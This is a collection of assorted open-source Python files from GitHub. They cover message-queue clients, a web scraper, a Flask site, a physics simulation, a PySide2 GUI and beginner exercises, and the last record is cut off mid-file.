+{"seq_id":"19887485464","text":"\n\nimport os\n\nimport time\n\npath = \"C:\\\\Users\\\\dogma\\\\OneDrive\\\\Desktop\\\\HTML Documents\\\\The-Tech-Academy-Basic-Python-Projects\\\\A\\\\\"\n\ndirs = os.listdir(path)\n\nfor file in dirs:\n    if file.endswith(\".txt\"):\n        txt_files = os.path.join(path,file)\n        mTime = time.localtime(os.path.getmtime(path))\n        fTime = time.strftime(\"%m/%d/%Y, %H:%M:%S\", mTime)\n        print(\"File Name:\", txt_files,\"Modified:\", fTime)\n\n","repo_name":"austinreeves/The-Tech-Academy-Python-Coding-Projects","sub_path":"PythonDrill.py","file_name":"PythonDrill.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33922436638","text":"import logging\nimport pika\n\nfrom cloudbrain.subscribers.interface import SubscriberInterface\nfrom cloudbrain.core.config import get_config\nfrom cloudbrain.core.auth import CloudbrainAuth\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass PikaSubscriber(SubscriberInterface):\n    def __init__(self,\n                 base_routing_key,\n                 rabbitmq_user,\n                 rabbitmq_pwd):\n\n        super(PikaSubscriber, self).__init__(base_routing_key)\n        _LOGGER.debug(\"Base routing key: %s\" % self.base_routing_key)\n        _LOGGER.debug(\"Routing keys: %s\" % self.routing_keys)\n        _LOGGER.debug(\"Metric buffers: %s\" % self.metric_buffers)\n\n        self.rabbitmq_user = rabbitmq_user\n        self.rabbitmq_pwd = rabbitmq_pwd\n\n        self.connection = None\n        self.channels = {}\n        self.config = get_config()\n        self.rabbitmq_address = self.config['rabbitHost']\n        self.auth = CloudbrainAuth(self.config['authUrl'])\n        self.rabbitmq_vhost = self.auth.get_vhost(rabbitmq_user, rabbitmq_pwd)\n\n    def connect(self):\n        credentials = pika.PlainCredentials(self.rabbitmq_user,\n                                            self.rabbitmq_pwd)\n\n        self.connection = pika.BlockingConnection(pika.ConnectionParameters(\n            host=self.rabbitmq_address,\n            virtual_host=self.rabbitmq_vhost,\n            credentials=credentials))\n\n    def register(self, metric_name, num_channels, buffer_size=1):\n\n        routing_key = \"%s:%s\" % (self.base_routing_key, metric_name)\n        self.register_metric(routing_key,\n                             metric_name,\n                             num_channels,\n                             buffer_size)\n        self._rabbitmq_register(routing_key)\n\n    def _rabbitmq_register(self, routing_key):\n        channel = self.connection.channel()\n        channel.exchange_declare(exchange=routing_key, exchange_type='direct')\n\n        queue_name = channel.queue_declare(exclusive=True).method.queue\n        channel.queue_bind(exchange=routing_key,\n                           queue=queue_name,\n                           routing_key=routing_key)\n\n        self.channels[routing_key] = {'channel': channel,\n                                      'queue_name': queue_name}\n\n    def disconnect(self):\n        for channel in self.channels.values():\n            if channel:\n                channel['channel'].stop_consuming()\n                channel['channel'].close()\n        self.connection.close()\n\n    def subscribe(self, metric_name, callback):\n\n        routing_key = '%s:%s' % (self.base_routing_key, metric_name)\n        self._rabbitmq_subscribe(routing_key, callback)\n\n    def _rabbitmq_subscribe(self, routing_key, callback):\n        channel = self.channels[routing_key]['channel']\n        queue_name = self.channels[routing_key]['queue_name']\n\n        channel.basic_consume(callback,\n                              queue=queue_name,\n                              exclusive=True,\n                              no_ack=True)\n\n        channel.start_consuming()\n\n    def get_one_message(self, metric_name):\n        routing_key = '%s:%s' % (self.base_routing_key, metric_name)\n        return self._rabbitmq_get_one_message(routing_key)\n\n    def _rabbitmq_get_one_message(self, routing_key):\n        channel = self.channels[routing_key]['channel']\n        queue_name = self.channels[routing_key]['queue_name']\n        meth_frame, header_frame, body = channel.basic_get(queue_name)\n\n        return body\n","repo_name":"marionleborgne/cloudbrain","sub_path":"src/cloudbrain/subscribers/rabbitmq.py","file_name":"rabbitmq.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"3"}
+{"seq_id":"3701723016","text":"from kafka import KafkaProducer\nimport random\nfrom time import sleep\nimport sys, os\n\nif __name__==\"__main__\":\n\n#    if (len(sys.argv) < 4):\n#        print(\"Usage: python 3-kafka_producer.py <low_thres> <high_thres> <topic_name> <data_filename>\")\n#        print(\"Suggested: python 3-kafka_producer.py 0.4 0.9 test data/sample_new_users.csv\")\n\n    try:\n        print(\"Initialization...\")\n        producer = KafkaProducer(bootstrap_servers='localhost:9092')\n    \n        print(\"Sending messages to kafka 'test' topic...\")\n#        low = sys.argv[1]\n#        high = sys.argv[2]\n#        topic = sys.argv[3]\n#        filename = sys.argv[4]\n    \n        f = open('data/occupancy_data.csv', 'rt')\n        try:\n            for line in f:\n                print(line)\n                producer.send('test', bytes(line, 'utf8'))\n                sleep(random.uniform(float(0.6), float(1.3)))\n        finally:\n            f.close()\n    \n        print(\"Waiting to complete delivery...\")\n        producer.flush()\n        print(\"End\")\n\n    except KeyboardInterrupt:\n        print('Interrupted from keyboard, shutdown')\n        try:\n            sys.exit(0)\n        except SystemExit:\n            os._exit(0)\n","repo_name":"marinamashina/occupancy-detection-spark-streaming","sub_path":"2-kafka_producer.py","file_name":"2-kafka_producer.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12379313392","text":"import requests \nfrom bs4 import BeautifulSoup \nimport csv\nfrom csv import DictWriter  \n   \nURL = \"https://turquoise.health/providers/abbott-northwestern-hospital/information\"\nr = requests.get(URL) \nsoup = BeautifulSoup(r.content, 'html5lib')\nc = 0\nquotes=[]\nquote = {} \nfor row in soup.findAll('div', attrs = {'class':'hospital-all-detail'}): \n    for j in row.findAll('ul'):\n        for k in j.findAll('li'):\n            # c = c  + 1\n            # print(\"count==> \",c)\n            print(\"para \",k.p.text)\n            if len(k.span) == 1:\n                if k.p.text == 'Name':\n                    quote['Name'] = k.span.text\n\n\n                elif k.p.text == 'ADDRESS':\n                    quote['ADDRESS'] = k.span.text\n                \n                \n                elif k.p.text == 'Phone':\n                    quote['Phone'] = k.span.text\n\n               \n                elif k.p.text == 'MEDICARE PROVIDER ID':\n                    quote['MEDICARE PROVIDER ID'] = k.span.text\n                \n                elif k.p.text == 'NATIONAL PROVIDER ID (NPI)':\n                    quote['NATIONAL PROVIDER ID (NPI)'] =k.span.text\n                \n                elif k.p.text == 'PROVIDER TYPE':\n                    quote['PROVIDER TYPE'] = k.span.text\n                \n                elif k.p.text == 'OWNERSHIP':\n                    quote['OWNERSHIP'] = k.span.text\n                \n                elif k.p.text == 'BEDS':\n                    quote['BEDS'] = k.span.text\n                \n            else:\n                # if c == 6:\n                if k.p.text == 'WEBSITE':\n                    if  k.span.a['href'] != \"\":\n                        quote['WEBSITE'] = k.span.a['href']\n\n                elif k.p.text == 'HEALTH SYSTEM AFFILIATION':\n                    quote['HEALTH SYSTEM AFFILIATION'] = k.span.a['href']\n\n                   \n                        \n              \n        \n\nquotes.append(quote)\nprint(quotes)\ncolumnsName = ['Name','ADDRESS','Phone','MEDICARE PROVIDER ID','NATIONAL PROVIDER ID (NPI)','WEBSITE','PROVIDER TYPE','OWNERSHIP','BEDS','HEALTH SYSTEM AFFILIATION']\nfilename = 'hospital.csv'\n# with open(filename, 'w', newline='') as f: \n#     w = csv.DictWriter(f,columnsName) \n#     w.writeheader() \n#     w.writerow(quotes[0])\n\n\n\nwith open(filename, 'a', newline='') as f_object:\n    dictwriter_object = DictWriter(f_object, fieldnames = columnsName)\n    dictwriter_object.writerow(quotes[0])\n        \n  ","repo_name":"shakeebanwar/Beautiful-Soap-Python","sub_path":"s.py","file_name":"s.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22984549623","text":"import time\nimport logging\n\nfrom poloniex import PublicAPI, PublicAPIError\nfrom .ticker import Ticker\n\nlogger = logging.getLogger(__name__)\n\n\nclass HttpDataCollector(PublicAPI):\n    def __init__(self):\n        PublicAPI.__init__(self)\n        self.tickers = dict()\n        self.last_update = int(time.time())\n\n    def _update(self):\n        orderbook = self.get_orderbook('all', 99)\n        self.last_update = int(time.time())\n\n        for key in orderbook:\n            if key not in self.tickers:\n                self.tickers[key] = Ticker(key)\n            self.tickers[key].update(orderbook[key])\n\n        ticker_keys = self.tickers.keys()\n        for key in ticker_keys:\n            if key not in orderbook:\n                del self.tickers[key]\n\n    def get_data(self):\n        ts = int(time.time())\n        self._update()\n        data = []\n        for key in self.tickers:\n            lowest_ask, highest_bid = self.tickers[key].get_prices()\n            asks, bids = self.tickers[key].get_volumes()\n            if lowest_ask and highest_bid:\n                record = [ts, key, lowest_ask, highest_bid, asks, bids]\n                data.append(record)\n        return data\n","repo_name":"zosimovaa/pdc","sub_path":"_depr/data_collector/poloniex_ob_volumes.py","file_name":"poloniex_ob_volumes.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38023645607","text":"# flake8: noqa:E501\n# pylint: disable=line-too-long\n# pylint: disable=import-outside-toplevel\nfrom celery import chain\n\nfrom core.models import WebinarApplication\nfrom core.tasks import (\n    task_create_application_invoice,\n    task_save_application_invoice_metadata,\n    task_send_invoice_email,\n)\n\n\ndef dispatch_invoice_for_application(\n    application: WebinarApplication, send_via_email: bool = True\n):\n    \"\"\"Dispatch invoice for given application\"\"\"\n\n    from core.services import ApplicationService\n\n    application_service = ApplicationService(application)\n\n    # Prevent blank invoice from being created\n    if application_service.get_valid_participants().count() == 0:\n        return\n\n    invoice_jobs = [\n        task_create_application_invoice.si(application.id),  # type: ignore\n        task_save_application_invoice_metadata.s(application.id),  # type: ignore\n    ]\n\n    if send_via_email:\n        invoice_jobs.append(\n            task_send_invoice_email.si(application.invoice.invoice_email, application.id),  # type: ignore\n        )\n\n    # Dispatch invoice tasks\n    chain(*invoice_jobs).apply_async()\n","repo_name":"rolzwy7/wykladowcav2","sub_path":"src/core/tasks_dispatch/dispatch_invoice_for_application.py","file_name":"dispatch_invoice_for_application.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41632821386","text":"from flask import Flask, url_for, render_template, g, abort\nfrom DBManipulator import DBM\nimport sqlite3\nimport os\n\n\nDEBUG = True\nDATABASE = '/tmp/site_db.db'\n\napp = Flask(__name__)\napp.config.from_object(__name__)\napp.config.update(DATABASE=os.path.join(app.root_path, 'site_db.db'))\n\n\ndef connect_db():\n    con = sqlite3.connect(app.config['DATABASE'])\n    con.row_factory = sqlite3.Row\n    return con\n\n\ndef create_db():\n    db = connect_db()\n    with app.open_resource('sq_db.sql', 'r') as file:\n        db.cursor().executescript(file.read())\n    db.commit()\n    db.close()\n\n\ndef get_db():\n    if not hasattr(g, 'link_db'):\n        g.link_db = connect_db()\n    return g.link_db\n\n\ndef dbm_thrower():\n    db = get_db()\n    dbase = DBM(db)\n    return dbase\n\n\n@app.route('/')\n@app.route('/main')\ndef main_page():\n    return render_template(\"mainpage.html\", title='Main', lorems=dbm_thrower().get_all_lorems(),\n                           site_menu=dbm_thrower().get_menu())\n\n\n@app.route('/lorem/<int:id_lorem>')\ndef show_lorem(id_lorem):\n    title, lorem = dbm_thrower().get_one_lorem(id_lorem)\n    if not title:\n        abort(404)\n    return render_template(\"chosenlorem.html\", title=title, lorem=lorem, site_menu=dbm_thrower().get_menu())\n\n\n@app.route('/about')\ndef about_page():\n    return render_template(\"aboutHW.html\", title='About', site_menu=dbm_thrower().get_menu())\n\n\n@app.route('/loremipsum')\ndef lorem_ipsum():\n    return render_template(\"loremipsum.html\", title='Fish text', site_menu=dbm_thrower().get_menu())\n\n\n@app.route('/github')\ndef github_page():\n    return render_template(\"github.html\", title=\"Git\")\n\n\n@app.teardown_appcontext\ndef close_db(error):\n    if hasattr(g, 'link.db'):\n        g.link_db.close()\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n    return render_template('page404.html', title=\"Not Found\", site_menu=dbm_thrower().get_menu())\n\n\nif __name__ == '__main__':\n    app.run(debug=DEBUG)\n","repo_name":"animeh4ter/FlaskProjects","sub_path":"hw1main.py","file_name":"hw1main.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25357960920","text":"#       toSketch.py\r\n#       \r\n#       Copyright 2010 Alex Dumitrache <alex@cimr.pub.ro>\r\n#       \r\n#       This program is free software; you can redistribute it and/or modify\r\n#       it under the terms of the GNU General Public License as published by\r\n#       the Free Software Foundation; either version 2 of the License, or\r\n#       (at your option) any later version.\r\n#       \r\n#       This program is distributed in the hope that it will be useful,\r\n#       but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n#       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n#       GNU General Public License for more details.\r\n#       \r\n#       You should have received a copy of the GNU General Public License\r\n#       along with this program; if not, write to the Free Software\r\n#       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\r\n#       MA 02110-1301, USA.\r\n\r\n# Exports current cgkit scene as a Sketch drawing (useful for including in documents)\r\n\r\nsketchTemplate = \"\"\"\r\ndef rgb<>\r\ndef limb<>\r\ninput{lib/defaults.sk}\r\n{\r\n    input{lib/objects.sk}\r\n    def style [cull=false, draw=black, fill=black!5]\r\n    {coordsys}\r\n\r\n    %s\r\n    \r\n}\r\n\r\nglobal {\r\n    language tikz\r\n    camera %s * scale(20) then translate([0,0,-100]) then perspective(30)\r\n}\r\n\"\"\"\r\n\r\ndef trans2sk(T):\r\n    sk = \"[[%g,%g,%g,%g] [%g,%g,%g,%g] [%g,%g,%g,%g] [%g,%g,%g,%g]]\" % tuple(T.toList(True))\r\n    return sk\r\n\r\nbase.meshname = \"base\"\r\nlink1.meshname = \"link1\"\r\nlink2.meshname = \"link2\"\r\nlink3.meshname = \"link3\"\r\nlink4.meshname = \"link4\"\r\nlink5.meshname = \"link5\"\r\nlink6.meshname = \"link6\"\r\ngripper.meshname = \"grip\"\r\n\r\ndef toSketch(filename):\r\n    scene = getScene()\r\n    cam = worldObject('TargetCamera')\r\n    lookat = cam.worldtransform * (0,0,1)\r\n    skcam = \"view((%g,%g,%g),(%g,%g,%g),[%g,%g,%g])\" % (cam.pos.x, cam.pos.y, cam.pos.z, lookat.x, lookat.y, lookat.z, scene.up.x, scene.up.y, scene.up.z)\r\n    sk = \"\"\r\n    for b in getScene().walkWorld():\r\n        if not b.visible: continue\r\n        sk += \"\\n    # %s\\n\" % b.name\r\n        if type(b.geom) == cgkit.boxgeom.BoxGeom:\r\n           sk += \"    put {%s * scale([%g,%g,%g])}{box}\\n\" % (trans2sk(b.worldtransform), b.lx,b.ly,b.lz)\r\n        elif hasattr(b, 'meshname'):\r\n           sk += \"    put {%s * scale(0.001) * rotate(180,[Z])}{input{meshes/%s.sk}{%s}}\\n\" % (trans2sk(b.worldtransform), b.meshname, b.meshname)\r\n    ske = sketchTemplate % (sk,skcam)\r\n\r\n    skf = open(os.path.join(sys.basepath, \"sketch\", filename + \".sk\"), \"w\")\r\n    skf.write(ske)\r\n    skf.close()\r\n","repo_name":"alexdu/robot-sandbox","sub_path":"sim-files/toSketch.py","file_name":"toSketch.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"}
+{"seq_id":"73960326800","text":"from django.conf.urls import url\nfrom site_stats import views\n\napp_name = 'site_stats'\nurlpatterns = [\n    url(r'text-stats/$', views.StatsTextStatsView.as_view(), name='text_stats'),\n    url(r'prediction-chart/$', views.CommonPredictionChart.as_view(), name='prediction_chart'),\n    url(r'points-chart/$', views.CommonPointsChart.as_view(), name='prediction_points'),\n    url(r'users-selector/$', views.AllUsersListView.as_view(), name='user_selector'),\n    url('user-graphs/(?P<pk>\\d+)', views.UserGraphsView.as_view(), name='graphs_per_user'),\n]\n","repo_name":"maddrum/world_cup_results","sub_path":"site_stats/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40989623223","text":"import time\nimport sys\nimport socket\nimport threading\n\nhost, port =  \"127.0.0.1\", 25001\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((host, port))\nsock.send(b'1')\nprint(sock.recv(1024).decode())\n\ndef recvThreadFunc():\n    while True:\n        try:\n            otherword = sock.recv(1024)\n            if otherword:\n                print(otherword.decode())\n            else:\n                pass\n        except ConnectionAbortedError:\n            print('Server closed this connection!')\n            break\n \n        except ConnectionResetError:\n            print('Server is closed!')\n            break\n\n\nt = threading.Thread(target=recvThreadFunc)\nt.setDaemon(True)\nt.start()\nt.join()","repo_name":"Mark840308/py_OpenVR","sub_path":"triad_openvr-master/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30346468670","text":"# This Python file uses the following encoding: utf-8\r\nimport os, threading, requests\r\nfrom pathlib import Path\r\nimport sys\r\nimport datetime\r\nimport json\r\nimport time\r\nimport threading\r\n\r\nfrom PySide2.QtGui import QGuiApplication, QIcon\r\nfrom PySide2.QtWidgets import QApplication\r\nfrom PySide2.QtQml import QQmlApplicationEngine\r\nfrom PySide2.QtCore import QObject, Slot, Signal, QTimer, QUrl\r\nfrom PySide2.QtWebEngine import QtWebEngine\r\nfrom PySide2 import QtSvg\r\n\r\ndef colConv(num):\r\n    if num == 0: return 'green'\r\n    if num == 3: return 'red'\r\n    return\r\n\r\nclass MainWindow(QObject,threading.Thread):\r\n    def __init__(self):\r\n        QObject.__init__(self)\r\n        threading.Thread.__init__(self)\r\n\r\n        # QTimer - Run Timer\r\n        self.timer = QTimer()\r\n        self.timer.timeout.connect(lambda: self.setTime())\r\n        self.timer.start(1000)\r\n        \r\n        self.srvCat = 'http://127.0.0.1:8080/'\r\n        self.dataStructure = {}\r\n        self.context = {'gym':None,'room':None,'menu':None}\r\n        self.updateFlag = {'gyms':False,'rooms':False,'devices':False}\r\n        self.status = {}\r\n        \r\n    # Ale signals\r\n    \r\n    updElem = Signal('QVariant')\r\n    gymSig = Signal(list)\r\n    roomSig = Signal(list)\r\n    devSig = Signal(list)\r\n    adjSig = Signal(list)\r\n    connStatus = Signal('Qvariant')\r\n    \r\n    signalAle = Signal(int)\r\n    removeConfSig = Signal(int)\r\n\r\n    # Signal Set Data\r\n    printTime = Signal(str)\r\n    \r\n    def start_engine(self):\r\n        QtWebEngine.initialize()\r\n        self.engine = QQmlApplicationEngine()\r\n        self.start()\r\n\r\n\r\n    # Set Timer Function\r\n\r\n    def setTime(self):\r\n        now = datetime.datetime.now()\r\n        formatDate = now.strftime(\"Now is %H:%M:%S of %Y/%m/%d\")\r\n        #print(formatDate)\r\n        self.printTime.emit(formatDate)\r\n        \r\n    @Slot(str,str)\r\n    def retrieveData(self,gymName,roomName):\r\n        print(\"\\n\\n\\nRetrive data!!!!\\n\\n\\n\")\r\n        if gymName == 'None' and roomName == 'None':\r\n            gymList = [{\"name\": \"San Donato\", \"status\": \"green\"}]\r\n            self.gymSig.emit(gymList)\r\n        if roomName == 'None':\r\n            if gymName == \"San Donato\":\r\n                roomList = [{\"name\": \"Cazzo\", \"status\": \"green\"}]\r\n            else:\r\n                roomList = [{\"name\": \"Prova\", \"status\": \"red\"}]\r\n            self.roomSig.emit(roomList)\r\n        else:\r\n            deviceList = self.l3\r\n            print(deviceList)\r\n            self.deviceSig.emit(deviceList)\r\n            \r\n    @Slot(str)\r\n    def receiveConfElem(self,actionDict):\r\n        \r\n        confElementDict = json.loads(actionDict)\r\n        print(type(confElementDict))\r\n        print(confElementDict)\r\n        self.signalAle.emit(0)\r\n        \r\n    @Slot(str)\r\n    def removeConf(self,confName):\r\n        ######SE LA RIMOZIONE AVVIENE CON SUCCESSO FAI EMIT 0 ALTRIMENTI EMIT 1\r\n        print(confName)\r\n        self.removeConfSig.emit(0) #Se tutto ok\r\n        \r\n        #self.removeConfSig.emit(1) #Se qualcosa è andato storto\r\n\r\n    @Slot()\r\n    def sendConf(self):\r\n        print(\"Invia conf dict allo SRM\")\r\n            \r\n\r\n    @Slot(str,str,str,str)\r\n    def pairList(self,gym,room,m1,m2):\r\n        print(f\"Pair List: {gym} {room} {m1} {m2}\")\r\n    \r\n    @Slot(str,str,str)\r\n    def getAdjacency(self,selectedGym,selectedRoom,selectedDevice):\r\n        print(f\"getAdjacency:{selectedGym} {selectedRoom} {selectedDevice}\")\r\n\r\n    \r\n    ###############################################\r\n    ### QUESTO SLOT RICEVERA' IL JSON IN FORMATO \r\n    ### STRINGA.\r\n    ###############################################\r\n    @Slot(str)\r\n    def conf_SRM(self,actionDict):\r\n        print(json.loads(actionDict))\r\n\r\n    resetAllSig = Signal(int)\r\n    @Slot()\r\n    def sendConf(self):\r\n        self.resetAllSig.emit(0)\r\n        \r\n    \r\n        \r\n    \r\n\r\n\r\nif __name__ == \"__main__\":\r\n    app = QApplication(sys.argv)\r\n    app.setOrganizationName('pythonProj')\r\n    app.setOrganizationDomain('OD')\r\n    # app.setWindowIcon(QIcon(\"images\\od_conf.svg\")) # convertire svg in pixmap\r\n    # Get Context\r\n    main = MainWindow()\r\n    main.start_engine()\r\n\r\n    # Set Context\r\n\r\n    main.engine.rootContext().setContextProperty(\"backend\", main)\r\n    \r\n    # Load QML file\r\n    main.engine.load(os.fspath(Path(__file__).resolve().parent / \"qml/main.qml\"))\r\n    \r\n    \r\n    if not main.engine.rootObjects():\r\n        sys.exit(-1)\r\n    \r\n    \r\n    sys.exit(app.exec_())\r\n    \r\n","repo_name":"Andrewxx93/Qt_Application_with_python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"42273955565","text":"T = int(input())\n\ndef path(cur,cnt,value):\n    global min_result\n    px,py = arr[cur][0],arr[cur][1]\n\n\n    if value > min_result:\n        return\n    if cnt == N:\n        dis = abs(arr[1][0]-px) + abs(arr[1][1]-py)\n        if value + dis < min_result:\n            min_result = value +dis\n            return\n\n    for i in range(2,N+2):\n        x,y = arr[i][0],arr[i][1]\n        dis = abs(px-x)+abs(py-y)\n        if not visited[i]:\n            visited[i] = True\n            path(i,cnt+1,value+dis)\n            visited[i] = False\n\n    \n\n\n\n\nfor tc in range(1,T+1):\n    N = int(input())\n    arr = []\n\n    temp = list(map(int,input().split()))\n    for i in range((N+2)):\n        arr.append(temp[2*i:2*(i+1)])\n    min_result = 999999999999999\n    visited = [False]*(N+2)\n    visited[0] = True\n    path(0,0,0)\n    print('#{} {}'.format(tc,min_result))","repo_name":"gkgg123/TIL","sub_path":"휴강기간_공부/알고리즘_0309/swea_1247_최적경로.py","file_name":"swea_1247_최적경로.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25182728533","text":"# Importing necessary libraries \nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import linalg\n\n\n# Setting up initial variables\nL = 1\nx = np.linspace(0, L, 1001)\na = L/1000\nh = 10**-4\ntime = np.arange(0, 0.1, h)\n\n\n# Setting up initial conditions\nx_0 = L/2.\nsigma = L/10.\nkappa = 50./L\npsi = np.exp(-1* ((x - x_0)**2)/(2*sigma**2)) * np.exp(1j * kappa * x)\npsi[0] = psi[-1] = 0\n\n\n# Setting up a1, a2, b1, b2\na1 = 1 + 1j*(h/(2*a**2))\na2 = -1j*(h/(4*a**2))\nb1 = 1 - 1j*(h/(2*a**2))\nb2 = 1j*(h/(4*a**2))\n\n\n# Creating matrix A\nN = 1001\nA_diag = np.ones(N, dtype=complex)*a1\nA_u = np.ones(N, dtype=complex) * a2\nA_u[0] = 0\nA_l = np.ones(N, dtype=complex) * a2\nA_l[-1] = 0\n# build matrix\nA = np.array([A_u, A_diag, A_l])\n\n\n# Getting psi values \npsi_values = []\n\nfor t in time:\n\n    psi_values.append(psi)\n    psiold = psi\n    \n    # calculate v\n    psiold = np.concatenate(([0],psi,[0])) \n    v = b1*psiold[1:-1] + b2*(psiold[2:]+psiold[:-2])\n    \n    # Solve matrix\n    psi = linalg.solve_banded((1,1), A, v)\n    psi[0] = psi[-1] = 0\n\n\n# Convert psi values list to array\npsi_values = np.array(psi_values, dtype=complex)\nreal_parts = np.real(psi_values)\n\n\n# Plot for time t=0\nplt.plot(x, real_parts[0], label='Psi(t=0.0000)')\nplt.xlabel('Position ($1x10^{-8}$m)', fontsize = 16)\nplt.ylabel('Amplitude', fontsize = 16)\nplt.ylim(-1.1,1.1)\nplt.legend()\nplt.savefig('t0000.png')\nplt.cla()\n\n\n# Plot for t=0.0012\nplt.plot(x, real_parts[120], label='Psi(t=0.0012)', color = 'orange')\nplt.xlabel('Position ($1x10^{-8}$m)', fontsize = 16)\nplt.ylabel('Amplitude', fontsize = 16)\nplt.ylim(-1.1,1.1)\nplt.legend()\nplt.savefig('t0012.png')\nplt.cla()\n\n\n# Plot for t=0.0020\nplt.plot(x, real_parts[200], label='Psi(t=0.0020)', color = 'green')\nplt.xlabel('Position ($1x10^{-8}$m)', fontsize = 16)\nplt.ylabel('Amplitude', fontsize = 16)\nplt.ylim(-1.1,1.1)\nplt.legend()\nplt.savefig('t0020.png')\nplt.cla()\n\n\n# Plot for t=0.0099\nplt.plot(x, real_parts[999], label='Psi(t=0.0099)', color = 'red')\nplt.xlabel('Position ($1x10^{-8}$m)', fontsize = 16)\nplt.ylabel('Amplitude', fontsize = 16)\nplt.ylim(-1.1,1.1)\nplt.legend()\nplt.savefig('t0099.png')\nplt.cla()","repo_name":"bjohnston0309/phys-ga2000","sub_path":"ps-9/Problem_1.py","file_name":"Problem_1.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"47578463409","text":"from ...abstasks.AbsTaskSTS import AbsTaskSTS\n\n\nclass BiossesSTS(AbsTaskSTS):\n    @property\n    def description(self):\n        return {\n            \"name\": \"BIOSSES\",\n            \"hf_hub_name\": \"mteb/biosses-sts\",\n            \"description\": \"Biomedical Semantic Similarity Estimation.\",\n            \"reference\": \"https://tabilab.cmpe.boun.edu.tr/BIOSSES/DataSet.html\",\n            \"type\": \"STS\",\n            \"category\": \"s2s\",\n            \"eval_splits\": [\"test\"],\n            \"eval_langs\": [\"en\"],\n            \"main_score\": \"cosine_spearman\",\n            \"min_score\": 0,\n            \"max_score\": 4,\n            \"revision\": \"d3fb88f8f02e40887cd149695127462bbcf29b4a\",\n        }\n","repo_name":"xlang-ai/instructor-embedding","sub_path":"evaluation/MTEB/mteb/tasks/STS/BiossesSTS.py","file_name":"BiossesSTS.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":1419,"dataset":"github-code","pt":"22"}
+{"seq_id":"29510715346","text":"# 10-DARS. IF-ELSE\n\n\"\"\"Yangi cars = ['toyota', 'mazda', 'hyundai', 'gm', 'kia'] degan ro'yxat tuzing, ro'yxat\nelementlarining birinchi harfini katta qilib konsolga chqaring. GM uchun ikkala harfni\nkatta qiling.\"\"\"\n\ncars = ['toyota', 'mazda', 'hyundai', 'gm', 'kia']\n\nfor car in cars:\n   if car == 'gm':\n      print(car.upper())\n   else:\n      print(car.title())\n# Output: Toyota\n# Output: Mazda\n# Output: Hyundai\n# Output: GM\n# Output: Kia\n\n\"\"\"Yuqoridagi mashqni teng emas (!=) operatori yordamida bajaring.\"\"\"\nfor car in cars:\n   if car != 'gm':\n      print(car.title())\n   else:\n      print(car.upper())\n# Output: Toyota\n# Output: Mazda\n# Output: Hyundai\n# Output: GM\n# Output: Kia\n\n\"\"\"Foydalanuvchi login ismini so'rang. Agar login admin bo'lsa, \"Xush kelibsiz, Admin.\nFoydalanuvchilar ro'yxatini ko'rasizmi?\" xabarini konsolga chiqaring. Aks holda,\n\"Xush kelibsiz, {foydalanuvchi_ismi}!\"  matnini konsolga chiqaring.\"\"\"\nism = input('Loginingizni kiriting: ')\nif ism.lower() == 'admin':\n   print(f\"Xush kelibsiz, {ism.title()}. Foydalanuvchilar ro\\'yxatini ko\\'rasizmi?\")\nelse:\n   print(f\"Xush kelibsiz, {ism.title()}!\")\n# Output: Xush kelibsiz, Admin. Foydalanuvchilar ro'yxatini ko'rasizmi?\n# Output: Xush kelibsiz, Farrux! \n\n\"\"\"Foydalanuvchidan 2 ta son kiritishni so'rang. Agar ikki son bir-biriga teng bo'lsa,\n\"Sonlar teng\" ekan degan yozuvni konsolga chiqaring.\"\"\"\n\nbir_son = int(input('Birinchi sonni kiriting: '))\nikki_son = int(input('Ikkinchi sonni kiriting: '))\n\nif bir_son == ikki_son:\n   print('Sonlar teng')\n# Output: Sonlar teng\n\n\"\"\"Foydalanuvchidan istalgan son kiritishni so'rang. Agar son manfiy bo'lsa konsolga\n\"Manfiy son\", agar musbat bo'lsa \"Musbat son\" degan xabarni chiqaring.\"\"\"\n\nistalgan_son = int(input('Sonni kiriting: '))\nif istalgan_son < 0:\n   print('Manfiy son')\nelse:\n   print('Musbat son')\n# Output: Manfiy son\n\n\"\"\"Foydalanuvchidan son kiritishni so'rang, agar son musbat bo'lsa uning ildizini\nhisoblab konsolga chiqaring. Agar son manfiy bo'lsa, \"Musbat son kiriting\" degan xabarni\nchiqaring.\"\"\"\nmusbat_son = int(input('Musbat sonni kiriting: '))\nif 